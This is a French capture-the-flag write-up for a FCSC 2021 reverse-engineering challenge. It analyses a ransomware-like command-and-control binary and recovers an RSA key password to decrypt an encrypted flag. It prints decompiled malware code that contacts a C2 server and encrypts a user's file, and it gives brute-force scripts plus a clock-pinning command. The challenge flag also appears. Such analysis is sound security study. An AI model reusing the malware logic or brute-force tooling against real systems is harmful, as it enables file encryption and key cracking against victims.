Malware 3-3
Ce challenge est un challenge en 3 parties indépendantes, mais dont l'ordre logique est indiqué par les numéros : forensics (1) -> pwn (2) -> reverse (3).
/!\ Le programme a de réelles capacités malveillantes /!\
Ouf ! Vous avez réussi à récupérer le malware, à vous connecter sur le serveur de l'attaquant et à récupérer la clé privée (fichier key.priv ci-joint) ayant servi à chiffrer votre précieux flag.
Le fichier key.priv portait initialement le nom : 0fdb0eea57198b3bb69e8267690ede5d5ba95ab791638a610372120b773d4acc_2021-03-15|21:34:41.priv.
Dechiffrez le fichier flag.txt pour valider cette Ă©preuve.
SHA256(malware) = d63087cb4ad44b1bf07646e195e8bc2997ab0dea6119f0ef6c70ddcc51dc7f11.
SHA256(flag.txt) = 14474b163650c1e940ae9612e29c4a8a5012f1ee1d31c6262f84e657680568b8.
SHA256(key.priv) = 55a4f14531fbc38349687d1a8fb13faa55a52bb8cff5bb23576ca72c595af37f.
Tag: reverse
Analyse
AprĂšs avoir fait la partie forensics, on sait quâune personne mal intentionnĂ©e a exĂ©cutĂ© un malware sur la machine. Celui-ci a chiffrĂ© le fichier flag.txt sur le bureau de lâutilisateur. Le challenge nous fournit directement le malware ainsi que le flag chiffrĂ© et une clĂ© privĂ©e protĂ©gĂ©e par un mot de passe.
PremiĂšre Ă©tape, j’ouvre le binaire dans ghidra
.
En commençant Ă reverse le malware, je comprends qu’il a deux modes de fonctionnement. Le premier avec l’option --client
qui indique au malware qu’il doit se connecter Ă un serveur pointĂ© par l’option -d
pour un nom de domaine et -i
pour une adresse IP.
L’autre mode de fonctionnement est avec l’option --serveur
qui indique au malware de se mettre en Ă©coute.
Voici le code de la fonction main
que Ghidra me génÚre:
undefined8 main(uint argc,undefined8 argv)
{
[snip]
// Récupération des arguments
iVar3 = getopt_long((ulong)argc,argv,"i:d:cs",&PTR_s_client_00407240,0);
if (iVar3 == -1) {
FUN_00402522((ulong)argc,argv,&DAT_00404063,argv);
prctl(0xf,&DAT_00404063,0,0,0);
// utilisation des deux options en mĂȘme temps
if ((clientOption) && (serverOption)) {
puts("Vous ne pouvez utiliser --client et --serveur en mĂȘme temps");
/* WARNING: Subroutine does not return */
exit(1);
}
// Utilisateur des options -d ou -i avec --serveur
if ((serverOption) && ((bVar1 || (bVar2)))) {
puts("Vous ne pouvez utiliser --serveur et -d ou -i en mĂȘme temps");
/* WARNING: Subroutine does not return */
exit(1);
}
// Utilisation de -i et -d
if ((bVar1) && (bVar2)) {
puts("Vous ne pouvez utiliser -i et -d en mĂȘme temps");
/* WARNING: Subroutine does not return */
exit(1);
}
if (clientOption) {
if (bVar1) {
connectClient((char *)0x0,local_18);
}
else {
// Pas de domaine ou d'@IP passé en argument
if (!bVar2) {
printf("-i ip ou -d domain manquant");
/* WARNING: Subroutine does not return */
exit(1);
}
connectClient(local_28,(char *)0x0);
}
}
else {
if (!serverOption) {
puts("Vous devez avoir --client ou --serveur");
/* WARNING: Subroutine does not return */
exit(1);
}
openServer();
}
return 0;
}
if (iVar3 != 0x73) break;
serverOption = true;
}
[snip]
}
// Aucune option ou option non reconnue
LAB_00402671:
puts("Option non reconnue. Utilisation : ./c2 [--client [-d domaine | -i ip] | --serveur]");
/* WARNING: Subroutine does not return */
exit(1);
}
Les noms de fonction et variable ont été renommé pour une meilleure compréhension.
Client
Lorsque le binaire est exĂ©cutĂ© avec l’option --client
celui-ci se connecte au serveur c&c (Command and Control) pointĂ© par l’option -d
ou l’adresse IP pointĂ© par -i
. Puis dans un second temps concatĂšne le nom d’utilisateur et le nom d’hĂŽte de la machine et hash cette valeur en sha256. Il fait ensuite un court calcul pour avoir une valeur pseudo random basĂ© sur la fonction time
.
void connectClient(char *hostName,char *ipAddress)
{
[snip]
// hashage du nom d'utilisateur + @ + nom d'hĂŽte
userName = getUsernameTty();
machineName = getHostName();
cmdUsername = concat(userName,"@");
cmdFullName = concat(cmdUsername,machineName);
SHA256_Init(&local_518);
len = strlen(cmdFullName);
SHA256_Update(&local_518,cmdFullName,len);
SHA256_Final(sha256SumCmdFullName,&local_518);
0_OneCharSha256SumCmdFullName = (char *)calloc(0x41,1);
index = 0;
// Conversion en hexadecimal (0x20 = 32)
while (index < 0x20) {
sprintf(0_OneCharSha256SumCmdFullName + index * 2,"%02x",(ulong)sha256SumCmdFullName[index]);
index = index + 1;
}
len = strlen(0_OneCharSha256SumCmdFullName);
if (len != 0x40) {
/* WARNING: Subroutine does not return */
exit(1);
}
// Calcul d'une valeur Pseudo Random
actualTime = time((time_t *)0x0);
srand((uint)actualTime);
pseudoRandomValue = rand();
pseudoRandomValueModulo = pseudoRandomValue % 1000;
ModuloLogarithme = log10((double)pseudoRandomValueModulo);
ModuloLogarithmeAddOne = (int)(ModuloLogarithme + 1.00000000);
pseudoRandomInt = (char *)malloc((long)ModuloLogarithmeAddOne);
sprintf(pseudoRandomInt,"%d",(ulong)pseudoRandomValueModulo);
0_OneCharSha256Concat = concat(0_OneCharSha256SumCmdFullName,";");
sha256WithPseudoRandomInt = concat(0_OneCharSha256Concat,pseudoRandomInt);
len = strlen(sha256WithPseudoRandomInt);
// Envoie la valeur calculé sha256 + pseudo random value
sVar1 = send(tcp,sha256WithPseudoRandomInt,len,0);
local_74 = (int)sVar1;
if (local_74 < 0) {
/* WARNING: Subroutine does not return */
exit(1);
}
// Réception de la clé publique
sVar1 = recv(tcp,tcpBuffer,0x3ff,0);
local_74 = (int)sVar1;
if (local_74 < 1) {
/* WARNING: Subroutine does not return */
exit(1);
}
// Fin de la string
tcpBuffer[local_74] = '\0';
// Fonction de chiffrement du flag
encryptHomeFlag(tcpBuffer);
close(tcp);
sleep(10000);
return;
}
Une fois le sha256 et la valeur pseudo random récupéré, il les envoie au c&c qui lui renvoie une clé publique. Cette clé publique servira ensuite à chiffrer le fichier flag.txt
sur le bureau de l’utilisateur.
__n = strlen(param_1);
local_20 = BIO_new_mem_buf(param_1,(int)__n);
local_50 = RSA_new();
PEM_read_bio_RSA_PUBKEY(local_20,&local_50,(undefined1 *)0x0,(void *)0x0);
BIO_free(local_20);
// Récupération du nom de l'utilisateur
userName = getUsernameTty();
// Récupération du chemin
userHomePath = concat("/home/",userName);
userFlagTxtPath = concat(userHomePath,"/Bureau/flag.txt");
// Lis le contenu du fichier
contentFile = (uchar *)readFile(userFlagTxtPath);
if (contentFile == (uchar *)0x0) {
/* WARNING: Subroutine does not return */
exit(1);
}
iVar1 = RSA_size(local_50);
local_40 = (uchar *)malloc((long)iVar1);
rsa = local_50;
__n = strlen((char *)contentFile);
// Chiffre le contenu
local_44 = RSA_public_encrypt((int)__n,contentFile,local_40,rsa,4);
RSA_free(local_50);
__n = strlen((char *)contentFile);
memset(contentFile,0,__n);
// Ecrit le nouveau contenu
writeInFile(local_40,userFlagTxtPath,local_44);
return;
Parfait, maintenant nous connaissons le fonctionnement de la partie cliente. Attaquons-nous Ă la partie serveur.
Serveur
La partie serveur Ă©coute constamment sur le port 4000
d’une nouvelle connexion. Puis crĂ©er un nouveau processus avec fork
.
while( true ) {
acceptedClient = accept(tcp,&local_48,&local_1c);
if ((int)acceptedClient < 0) {
/* WARNING: Subroutine does not return */
exit(1);
}
local_18 = fork();
if (local_18 < 0) break;
if (local_18 == 0) {
close(tcp);
newClient(acceptedClient);
/* WARNING: Subroutine does not return */
exit(0);
}
Quand un client se connecte, il exécute une fonction pour récupérer le hash ainsi que le nombre pseudo random.
// Récupération du message
sizeClientSocketMessage = recv(clientSocket,clientSocketMessageRecv,0x400,0);
if ((long)sizeClientSocketMessage < 0) {
uVar1 = 0;
}
else {
// Conversion du message reçu
uVar1 = convertMessageClient(clientSocket,clientSocketMessageRecv,sizeClientSocketMessage);
}
La fonction de conversion de message appelle ensuite une fonction qui permet de créer un mot de passe qui sera utilisé pour la clé RSA.
// Récupération de l'index du ;
addrPointVirgules = memrchr(messageClientSocket,0x3b,sizeMessageClientSocket);
local_10 = (long)(int)addrPointVirgules;
if (local_10 == 0) {
uVar1 = 0;
}
else {
local_14 = (int)addrPointVirgules - (int)messageClientSocket;
// Copie du hash 256 dans la variable sha256value
memcpy(sha256value,messageClientSocket,(long)local_14);
/* Compile la regex */
local_18 = regcomp(®exCompiled,"^[a-f0-9]{64}",1);
// Execute la regex
local_18 = regexec(®exCompiled,sha256value,0,(regmatch_t *)0x0,0);
/* if successfull match (regex) */
if (local_18 == 0) {
/* Replace ";" by a null byte */
sha256value[local_14] = '\0';
/* Length of the strings after ";" */
__size = strlen((char *)((long)messageClientSocket + (long)local_14 + 1));
intMessageSocketClient = (char *)malloc(__size);
strcpy(intMessageSocketClient,(char *)((long)local_14 + 1 + (long)messageClientSocket));
__isoc99_sscanf(intMessageSocketClient,&DAT_0040420a,&lenIntMessageSocketClient);
// Modulo 1000 effectué sur la valeur pseudo random
if ((int)lenIntMessageSocketClient % 1000 == lenIntMessageSocketClient) {
// Temps unix
currentUnixTime = time((time_t *)0x0);
// Conversion
structUnixLocalTime = localtime(¤tUnixTime);
// Conversion temps unix en AAAA-MM-DD|HH:MM:SS
strftime(stringUnixLocalTime,0x1a,"%Y-%m-%d|%H:%M:%S",structUnixLocalTime);
// Création du mot de passe pour la clé RSA
rsaPassword = (char *)createRsaPassword(sha256value,stringUnixLocalTime,
(ulong)lenIntMessageSocketClient,stringUnixLocalTime
);
// Création de la paire de clé RSA
local_38 = (char *)functionToExploitIThink(rsaPassword,sha256value,stringUnixLocalTime);
Pour au final, créer une paire de clés RSA avec la commande openssl
.
if (iVar1 != 0) {
local_f8 = "openssl";
local_f0 = "genrsa";
local_e8 = "-aes256";
local_e0 = &OUT;
local_d8 = pathToPrivKey;
local_d0 = "-passout";
local_c8 = pass;
local_c0 = &4096;
local_b8 = 0;
executeCommand(&local_f8);
local_a8 = "openssl";
local_a0 = &RSA;
local_98 = &IN;
local_90 = pathToPrivKey;
local_88 = "-passin";
local_80 = pass;
local_78 = "-pubout";
local_70 = &OUT;
local_68 = pathToPubKey;
local_60 = 0;
executeCommand(&local_a8);
Les clés sont enregistrées dans le dossier /keys
du serveur avec pour nom, la valeur sha256 envoyĂ© par le client et l’heure Ă laquelle le message a Ă©tĂ© reçu. La description prend donc tout son sens. Le fichier key.priv
porté le nom 0fdb0eea57198b3bb69e8267690ede5d5ba95ab791638a610372120b773d4acc_2021-03-15|21:34:41.priv
auparavant. Ce qui signifie que le client a envoyĂ© son message le 03 Mars 2021 Ă 21h34m41s. Aussi la concatenation de son nom d’utilisateur et du nom d’hĂŽte donne 0fdb0eea57198b3bb69e8267690ede5d5ba95ab791638a610372120b773d4acc
.
On peut vĂ©rifier facilement cette information car on connait le nom d’utilisateur forensics
et le nom d’hĂŽte fcsc2021
.
[ aether@ysera ~ % ] python3
Python 3.6.9 (default, Jan 26 2021, 15:33:00)
[GCC 8.4.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import hashlib
>>> hashlib.sha256(b"forensics@fcsc2021").hexdigest()
'0fdb0eea57198b3bb69e8267690ede5d5ba95ab791638a610372120b773d4acc'
Password
AprĂšs avoir un peu jouĂ© avec le programme, je dĂ©cide de crĂ©er une commande openssl qui va me permettre de voir le contenu qui lui ai passĂ© en argument. Cela va entre autres me permettre de voir le mot de passe. Si celui-ci se rĂ©pĂšte, je n’aurais pas besoin de chercher plus. J’aurais uniquement besoin de dĂ©chiffrer le fichier flag.txt
avec l’uniquement mot de passe.
import sys
with open("/tmp/openssl.log", "a") as f:
f.write("\n".join(sys.argv[1:]) + "\n")
Je remplace ma commande openssl par ce script et je m’aperçois que les mots de passe dans le fichier ont tous la mĂȘme base. MĂȘme si le hash et l’heure changent.
)4|V>1SY} m,Nz%cl5&=4601a07db25df3d83d1ce31a735485a215d8c1fc0217e4ad4fd8381132458bf8e2021-04-30|18:34:3604.65959574
)4|V>1SY} m,Nz%cl5&=40fdb0eea57198b3bb69e8267690ede5d5ba95ab791638a610372120b773d4acc2021-04-30|18:36:4214.65562116
Tous les mots de passes commencent par )4|V>1SY} m,Nz%cl5&=4
puis la valeur du hash envoyĂ© par le client, l’heure Ă laquelle le message est reçu et ensuite un nombre flotant.
Exploitation
Je ne voulais pas passer beaucoup de temps Ă essayer de comprendre les fonctions pour trouver le mot de passe. J’ai dĂ©cidĂ© de prendre une solution de contournement pour aller plus vite. Etant donnĂ© que je connnais l’heure du message et le hash. Il me suffit simplement de faire une boucle sur mon serveur pour garder constamment l’heure Ă 2021-03-15|21:34:41
et du cÎté de mon client, à envoyer le hash du nom du fichier 0fdb0eea57198b3bb69e8267690ede5d5ba95ab791638a610372120b773d4acc
et les valeurs de 0 Ă 1000.
Pourquoi 0 Ă 1000 ? Tout simplement parce que la partie cĂŽtĂ© serveur vĂ©rifie que l’int envoyĂ© modulo 1000 est toujours Ă©gale Ă elle mĂȘme.
/* MODULO ICI */
if ((int)lenIntMessageSocketClient % 1000 == lenIntMessageSocketClient) {
// Récupération du temps unix actuel
currentUnixTime = time((time_t *)0x0);
//
structUnixLocalTime = localtime(¤tUnixTime);
// Conversion du temps Unix en string au format AAAA-MM-DD|HH:MM:SS
strftime(stringUnixLocalTime,0x1a,"%Y-%m-%d|%H:%M:%S",structUnixLocalTime);
// Création du mot de passe pour la clé RSA
rsaPassword = (char *)createRsaPassword(sha256value,stringUnixLocalTime,
(ulong)lenIntMessageSocketClient,stringUnixLocalTime
);
local_38 = (char *)functionToExploitIThink(rsaPassword,sha256value,stringUnixLocalTime);
Je crée un script qui enverra toutes les valeurs cÎté client.
import socket
for index in range(1000):
tcp = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
tcp.settimeout(1)
tcp.connect(("192.168.1.59", 4000))
tcp.send(b"0fdb0eea57198b3bb69e8267690ede5d5ba95ab791638a610372120b773d4acc;%d" % (index))
tcp.recv(1024)
CÎté serveur, je change mon script openssl pour sauvegarder uniquement le mot de passe dans un fichier.
#!/usr/bin/python3
import sys
with open("/tmp/passwd.txt", "a") as f:
f.write(sys.argv[5] + "\n")
Puis la commande pour garder constamment la mĂȘme heure.
while true; do sudo date --set="2021-03-15 21:34:41"; done
AprĂšs quelques secondes d’exĂ©cution le script se termine. Mon fichier de mot de passe distant est rempli !
)4|V>1SY} m,Nz%cl5&=40fdb0eea57198b3bb69e8267690ede5d5ba95ab791638a610372120b773d4acc2021-03-15|21:34:4104.65959574
)4|V>1SY} m,Nz%cl5&=40fdb0eea57198b3bb69e8267690ede5d5ba95ab791638a610372120b773d4acc2021-03-15|21:34:4114.65562116
)4|V>1SY} m,Nz%cl5&=40fdb0eea57198b3bb69e8267690ede5d5ba95ab791638a610372120b773d4acc2021-03-15|21:34:4124.66148808
)4|V>1SY} m,Nz%cl5&=40fdb0eea57198b3bb69e8267690ede5d5ba95ab791638a610372120b773d4acc2021-03-15|21:34:4134.66148808
[snip]
Il ne me reste plus qu’Ă tester chacune de ces clĂ©s jusqu’Ă trouver la bonne.
import subprocess
with open("bruteforce.key") as f:
data = f.read().splitlines()
argv = [
"openssl",
"rsa",
"-in",
"key.priv",
"-passin",
"pass:",
"-pubout",
"-out",
"key.pub"
]
for password in data:
argv[5] = f"pass:{password}"
stderr = open("/tmp/stderropenssl", "wb")
process = subprocess.Popen(argv, stderr=stderr, stdout=stderr)
while process.poll() is None:
continue
if "writing RSA key" in open("/tmp/stderropenssl", "r").read():
print(f"Password: {password}")
exit(0)
output:
[ aether@ysera ~/Documents/FCSC/2021/reverse/Malware % ] python3 bruteforce.py
Password: )4|V>1SY} m,Nz%cl5&=40fdb0eea57198b3bb69e8267690ede5d5ba95ab791638a610372120b773d4acc2021-03-15|21:34:415784.65833391
VoilĂ le mot de passe !
Padding\t\t\t\t\t\t\t\t\t
AprÚs avoir mit le mot de passe dans un fichier, je déchiffre le fichier flag.txt
avec openssl:
[ aether@ysera ~/Documents/FCSC/2021/reverse/Malware % ] openssl rsautl -decrypt -in flag.txt.enc -out flag.txt -inkey key.priv -passin file:master.key
RSA operation error
140165181530560:error:0407109F:rsa routines:RSA_padding_check_PKCS1_type_2:pkcs decoding error:../crypto/rsa/rsa_pk1.c:244:
140165181530560:error:04065072:rsa routines:rsa_ossl_private_decrypt:padding check failed:../crypto/rsa/rsa_ossl.c:485:
Ahaha, si proche du but.
Cependant le message padding check failed
me met sur la voie. Une courte recherche sur internet sur les diffĂ©rents padding disponible avec d’openssl et le tour est jouĂ©.
cf: https://www.mkssoftware.com/docs/man1/openssl_rsautl.1.asp
DĂ©chiffrement
[ aether@ysera ~/Documents/FCSC/2021/reverse/Malware % ] openssl rsautl -decrypt -in flag.txt.enc -out flag.txt -inkey key.priv -passin file:master.key -oaep
[ aether@ysera ~/Documents/FCSC/2021/reverse/Malware % ] cat flag.txt
đœâđâ{đđđđđđđđđđđđ đđđđđđđđđđđđđ đđđ đđđđđđđđđđđ đđđđđđ đđđđđđđđ đđđđđđđđ đđđ}
Je retranscris le flag en ascii à la main et le challenge est validé !
flag: FCSC{cd74b0d334a8be5666402cc486e8a6222dd32084fa3585aec1d485f53e508ed4}